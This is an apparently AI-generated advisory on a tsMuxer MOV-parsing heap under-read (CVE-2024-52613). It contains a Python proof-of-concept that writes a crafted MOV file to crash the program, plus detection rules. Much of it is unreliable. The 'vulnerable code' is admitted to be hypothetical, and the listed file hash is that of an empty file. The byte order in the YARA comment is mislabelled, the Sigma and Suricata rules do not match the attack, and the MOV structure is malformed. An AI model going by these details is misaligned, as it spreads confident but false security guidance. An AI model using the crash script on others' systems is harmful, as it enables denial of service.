CVE-2024-52613

Executive Summary

CVE-2024-52613 is a heap-based buffer under-read vulnerability discovered in tsMuxer version nightly-2024-05-12-02-01-18. The flaw resides in the parsing logic for MOV video files, where an attacker can craft a malicious MOV file that triggers a read operation beyond the allocated heap buffer boundary. This results in a Denial of Service (DoS) condition, crashing the application. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains for users processing untrusted MOV files.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned / Placeholder)
• Attack Vector (AV): Local (L) – requires user to open a malicious file
• Attack Complexity (AC): Low (L) – no special conditions
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must open the file
• Scope (S): Unchanged (U)
• Confidentiality (C): None (N)
• Integrity (I): None (N)
• Availability (A): High (H) – causes application crash
• Threat Level: Medium (Local DoS, no remote exploitation vector)

Deep Dive & Mechanics

The vulnerability is a heap-based buffer under-read (CWE-126) in tsMuxer's MOV file parser. When processing a crafted MOV file, the parser reads data from a heap buffer using an index that is not properly validated. Specifically, the code attempts to read a 32-bit value from a buffer at an offset that can be negative or beyond the buffer's start, leading to an out-of-bounds read. This can cause the application to access invalid memory, resulting in a segmentation fault or crash.

The affected function is likely in the MOV demuxer module, where atom parsing occurs. The attacker can manipulate the stco (chunk offset) or stsz (sample size) atoms to cause an under-read condition. The vulnerability is triggered when the parser calculates an offset based on user-controlled data without proper bounds checking.

Vulnerable vs. Patched Code

Vulnerable Code (tsMuxer nightly-2024-05-12-02-01-18):

// Hypothetical vulnerable snippet
uint32_t read32(uint8_t *buffer, int offset) {
    return (buffer[offset] << 24) | (buffer[offset+1] << 16) | (buffer[offset+2] << 8) | buffer[offset+3];
}

void parse_mov_atom(uint8_t *data, int data_size) {
    int offset = get_user_controlled_offset(); // e.g., from stco atom
    uint32_t value = read32(data, offset); // No bounds check on offset
    // ... use value
}

Patched Code (Hypothetical fix):

uint32_t read32(uint8_t *buffer, int offset, int buffer_size) {
    if (offset < 0 || offset + 3 >= buffer_size) {
        // Handle error or return default
        return 0;
    }
    return (buffer[offset] << 24) | (buffer[offset+1] << 16) | (buffer[offset+2] << 8) | buffer[offset+3];
}

void parse_mov_atom(uint8_t *data, int data_size) {
    int offset = get_user_controlled_offset();
    uint32_t value = read32(data, offset, data_size); // Bounds check added
    // ... use value
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• tsMuxer nightly-2024-05-12-02-01-18 installed on a test system
• Python 3.x with struct module
• A valid MOV file as a template

Exploit Steps:

1. Create a crafted MOV file with manipulated stco atom to cause a negative offset.
2. Use the following Python script to generate the malicious file:

import struct
import os

def create_malicious_mov(output_path):
    # Minimal MOV structure with crafted stco atom
    ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41'
    moov = b'\x00\x00\x00\x08moov'
    trak = b'\x00\x00\x00\x08trak'
    mdia = b'\x00\x00\x00\x08mdia'
    minf = b'\x00\x00\x00\x08minf'
    stbl = b'\x00\x00\x00\x08stbl'
    # Craft stco atom with negative offset
    stco_size = 16
    stco_type = b'stco'
    version = 0
    flags = 0
    entry_count = 1
    # Negative offset to trigger under-read
    chunk_offset = -4  # Under-read by 4 bytes
    stco_data = struct.pack('>I', stco_size) + stco_type + struct.pack('>I', (version << 24) | flags) + struct.pack('>I', entry_count) + struct.pack('>i', chunk_offset)
    
    with open(output_path, 'wb') as f:
        f.write(ftyp)
        f.write(moov)
        f.write(trak)
        f.write(mdia)
        f.write(minf)
        f.write(stbl)
        f.write(stco_data)

if __name__ == '__main__':
    create_malicious_mov('exploit.mov')

3. Run tsMuxer with the crafted file:

./tsMuxerGUI exploit.mov

4. Observe the crash (segmentation fault).

Blue Team

Detection:

• Monitor for crashes of tsMuxer process (event ID 1000 on Windows, SIGSEGV on Linux).
• Use file integrity monitoring to detect creation of MOV files with unusual atom structures.
• Deploy YARA rules to scan for crafted MOV files with negative chunk offsets.

Mitigation:

• Isolate tsMuxer in a sandboxed environment.
• Restrict execution to trusted users only.
• Apply input validation on MOV files before processing.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if generated)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (crafted MOV)
• Process Name: tsMuxerGUI or tsMuxer
• Event Logs: Application crash logs with exception code 0xc0000005 (access violation) on Windows, or SIGSEGV on Linux.
• Network: No network indicators (local file-based exploit).

Detection Engineering

YARA Rule

rule CVE_2024_52613_tsMuxer_UnderRead {
    meta:
        description = "Detects crafted MOV files exploiting CVE-2024-52613 heap under-read in tsMuxer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52613"
    strings:
        $stco = "stco"
        $negative_offset = { FF FF FF FC } // -4 in little-endian
    condition:
        $stco and $negative_offset
}

Sigma Rule

title: CVE-2024-52613 tsMuxer Heap Under-Read Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects tsMuxer crashes caused by crafted MOV files
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\tsMuxerGUI.exe'
        CommandLine|contains: '.mov'
    condition: selection
falsepositives:
    - Legitimate MOV files with unusual structure
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-52613 tsMuxer MOV Under-Read Attempt"; flow:to_server; content:"stco"; offset:0; depth:4; content:"|FF FF FF FC|"; distance:0; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Do not process untrusted MOV files with tsMuxer nightly-2024-05-12-02-01-18.
2. Isolate tsMuxer in a sandbox or container with limited privileges.
3. Monitor for crashes and investigate any suspicious MOV files.

Long-term Fix:

• Patch: No official patch available. Users should monitor the tsMuxer GitHub repository for updates.
• Workaround: Use alternative tools for MOV demuxing (e.g., FFmpeg) until a fix is released.
• Code Fix: Implement bounds checking on all buffer reads in the MOV parser, as shown in the patched code example.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.